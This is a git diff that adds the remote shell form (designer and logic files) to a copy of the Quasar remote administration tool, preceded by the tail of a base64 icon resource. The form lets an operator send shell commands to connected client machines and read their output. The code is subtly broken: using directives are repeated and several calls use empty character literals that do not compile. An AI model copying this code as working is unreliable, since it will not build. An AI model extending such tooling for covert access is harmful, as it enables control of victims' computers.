Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.Designer.cs new file mode 100755 index 0000000..ae2f3ac --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.Designer.cs @@ -0,0 +1,110 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRemoteShell + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteShell)); + this.txtConsoleOutput = new System.Windows.Forms.RichTextBox(); + this.txtConsoleInput = new System.Windows.Forms.TextBox(); + this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); + this.tableLayoutPanel.SuspendLayout(); + this.SuspendLayout(); + // + // txtConsoleOutput + // + this.txtConsoleOutput.BackColor = System.Drawing.Color.Black; + this.txtConsoleOutput.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.txtConsoleOutput.Dock = System.Windows.Forms.DockStyle.Fill; + this.txtConsoleOutput.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtConsoleOutput.ForeColor = System.Drawing.Color.WhiteSmoke; + this.txtConsoleOutput.Location = new System.Drawing.Point(3, 3); + this.txtConsoleOutput.Name = "txtConsoleOutput"; + this.txtConsoleOutput.ReadOnly = true; + this.txtConsoleOutput.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.txtConsoleOutput.Size = new System.Drawing.Size(631, 297); + this.txtConsoleOutput.TabIndex = 1; + this.txtConsoleOutput.Text = ""; + this.txtConsoleOutput.TextChanged += new System.EventHandler(this.txtConsoleOutput_TextChanged); + this.txtConsoleOutput.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtConsoleOutput_KeyPress); + // + // txtConsoleInput + // + this.txtConsoleInput.BackColor = System.Drawing.Color.Black; + this.txtConsoleInput.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.txtConsoleInput.Dock = System.Windows.Forms.DockStyle.Fill; + this.txtConsoleInput.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtConsoleInput.ForeColor = System.Drawing.Color.WhiteSmoke; + this.txtConsoleInput.Location = new System.Drawing.Point(3, 306); + this.txtConsoleInput.MaxLength = 200; + this.txtConsoleInput.Name = "txtConsoleInput"; + this.txtConsoleInput.Size = new System.Drawing.Size(631, 16); + this.txtConsoleInput.TabIndex = 0; + this.txtConsoleInput.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtConsoleInput_KeyDown); + // + // tableLayoutPanel + // + this.tableLayoutPanel.BackColor = System.Drawing.Color.Black; + this.tableLayoutPanel.ColumnCount = 1; + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.Controls.Add(this.txtConsoleOutput, 0, 0); + this.tableLayoutPanel.Controls.Add(this.txtConsoleInput, 0, 1); + this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 2; + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); + this.tableLayoutPanel.Size = new System.Drawing.Size(637, 323); + this.tableLayoutPanel.TabIndex = 2; + // + // FrmRemoteShell + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(637, 323); + this.Controls.Add(this.tableLayoutPanel); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FrmRemoteShell"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Remote Shell []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteShell_FormClosing); + this.Load += new System.EventHandler(this.FrmRemoteShell_Load); + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TextBox txtConsoleInput; + private System.Windows.Forms.RichTextBox txtConsoleOutput; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.cs new file mode 100755 index 0000000..46b2a2f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.cs @@ -0,0 +1,197 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteShell : Form + { + /// + /// The client which can be used for the remote shell. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + public readonly RemoteShellHandler RemoteShellHandler; + + /// + /// Holds the opened remote shell form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new remote shell form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the remote shell form. + /// + /// Returns a new remote shell form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRemoteShell CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRemoteShell f = new FrmRemoteShell(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote shell form. + public FrmRemoteShell(Client client) + { + _connectClient = client; + RemoteShellHandler = new RemoteShellHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + + txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine); + } + + /// + /// Registers the remote shell message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + RemoteShellHandler.ProgressChanged += CommandOutput; + RemoteShellHandler.CommandError += CommandError; + MessageHandler.Register(RemoteShellHandler); + } + + /// + /// Unregisters the remote shell message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(RemoteShellHandler); + RemoteShellHandler.ProgressChanged -= CommandOutput; + RemoteShellHandler.CommandError -= CommandError; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever the remote shell writes to stdout. + /// + /// The message processor which raised the event. + /// The output to write. + private void CommandOutput(object sender, string output) + { + txtConsoleOutput.SelectionColor = Color.WhiteSmoke; + txtConsoleOutput.AppendText(output); + } + + /// + /// Called whenever the remote shell writes to stderr. + /// + /// The message processor which raised the event. + /// The error output to write. + private void CommandError(object sender, string output) + { + txtConsoleOutput.SelectionColor = Color.Red; + txtConsoleOutput.AppendText(output); + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmRemoteShell_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.DoubleBuffered = true; + this.Text = WindowHelper.GetWindowTitle("Remote Shell", _connectClient); + } + + private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + if (_connectClient.Connected) + RemoteShellHandler.SendCommand("exit"); + } + + private void txtConsoleOutput_TextChanged(object sender, EventArgs e) + { + NativeMethodsHelper.ScrollToBottom(txtConsoleOutput.Handle); + } + + private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(txtConsoleInput.Text.Trim())) + { + string input = txtConsoleInput.Text.TrimStart(' ', '').TrimEnd(' ', ''); + txtConsoleInput.Text = string.Empty; + + // Split based on the space key. + string[] splitSpaceInput = input.Split(' '); + // Split based on the null key. + string[] splitNullInput = input.Split(''); + + // We have an exit command. + if (input == "exit" || + ((splitSpaceInput.Length > 0) && splitSpaceInput[0] == "exit") || + ((splitNullInput.Length > 0) && splitNullInput[0] == "exit")) + { + this.Close(); + } + else + { + switch (input) + { + case "cls": + txtConsoleOutput.Text = string.Empty; + break; + default: + RemoteShellHandler.SendCommand(input); + break; + } + } + + e.Handled = true; + e.SuppressKeyPress = true; + } + } + + private void txtConsoleOutput_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char) 2) + { + txtConsoleInput.Text += e.KeyChar.ToString(); + txtConsoleInput.Focus(); + txtConsoleInput.SelectionStart = txtConsoleOutput.TextLength; + 